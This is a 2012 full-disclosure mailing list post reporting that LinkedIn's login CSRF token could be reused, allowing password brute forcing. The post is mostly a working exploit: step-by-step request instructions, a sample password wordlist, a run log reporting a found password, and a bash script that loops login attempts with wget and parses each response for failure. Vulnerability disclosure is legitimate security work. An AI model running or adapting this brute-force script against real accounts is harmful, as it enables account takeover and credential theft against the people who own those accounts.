full-disclosure - LinkedIn CSRF: Login Brute Force

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Message-ID: <4FB52C7B.5040209@zerial.org>
Date: Thu, 17 May 2012 12:51:07 -0400
From: "Fernando A. Lagos B." <fernando@...ial.org>
To: full-disclosure@...ts.grok.org.uk
Subject: LinkedIn CSRF: Login Brute Force

LinkedIn uses a Token into the login form which can be used many times
for different usernames. You can do it using the same IP or differents
IP, the token will not be verified.

I. Step by step
===============
1). Login into your LinkedIn account and capture the "sourceAlias" and
"csrfToken" variable (example:
sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&csrfToken=ajax%3A6265303044444817496)

2). Use the Token to login into another account:
https://www.linkedin.com/uas/login-submit?csrfToken=ajax%3A6265303044444817496&session_key=somebody@somedomain.com&session_password=ANY_PASSWORD&session_redirect=&sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&source_app=&trk=secureless

session_key is the username and session_password is the password.

3). The password (session_password) is not correct If the requested URL
returns "The email address or password you provided does not match our
records", else the password if correct.

II. PoC
=======

1). The Wordlist (filename: w)
[zerial@...cebu ~]$ cat w
asdfgh
zxcvbnm
1234567
0987654
12345698
456_4567
123456qwert
qwsdcv
12wedfgh
123456qwerty
12345qwei
112233
[zerial@...cebu ~]$

2). Executing the script:
[zerial@...cebu ~]$ sh linkedin.sh panic@...ial.org w
Password found: qwsdcv
[zerial@...cebu ~]$

This is the correct password for this test user.

III. Script
===========

#!/bin/bash
#
# usage: ./linkedin.sh username@...ain.com wordlist
#

TOKEN="ajax%3A6265303044444817496"
sourceAlias="0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi"

if [ ! -f $2 ];
then
	echo "file $2 does not exists"
	exit
fi

_USR=$1
for _PWD in $(cat $2);
do
	if [ $(echo -n $_PWD|wc -c) -lt 6 ];
	then
		echo "Ignoring $_PWD (must be grather than 6 chars)"; continue
	fi
	wget -o /dev/null -O -
"https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&session_key=$_USR&session_password=$_PWD&session_redirect=&sourceAlias=$sourceAlias&source_app=&trk=secureless"|grep
'The email address or password you provided does not match our
records\|captcha' >>/dev/null
	if [ $? -eq 1 ];
	then
		echo "Password found: $_PWD"; exit;
	fi
done

echo "Password NOT found. Try later."
#EOF

More info (in spanish):
http://blog.zerial.org/seguridad/vulnerabilidad-en-linkedin-permite-obtencion-de-contrasenas/

cheers,
-- 
Fernando A. Lagos Berardi
Seguridad Informatica
GNU/Linux User #382319
Blog: http://blog.zerial.org
Jabber: zerial@...beres.org

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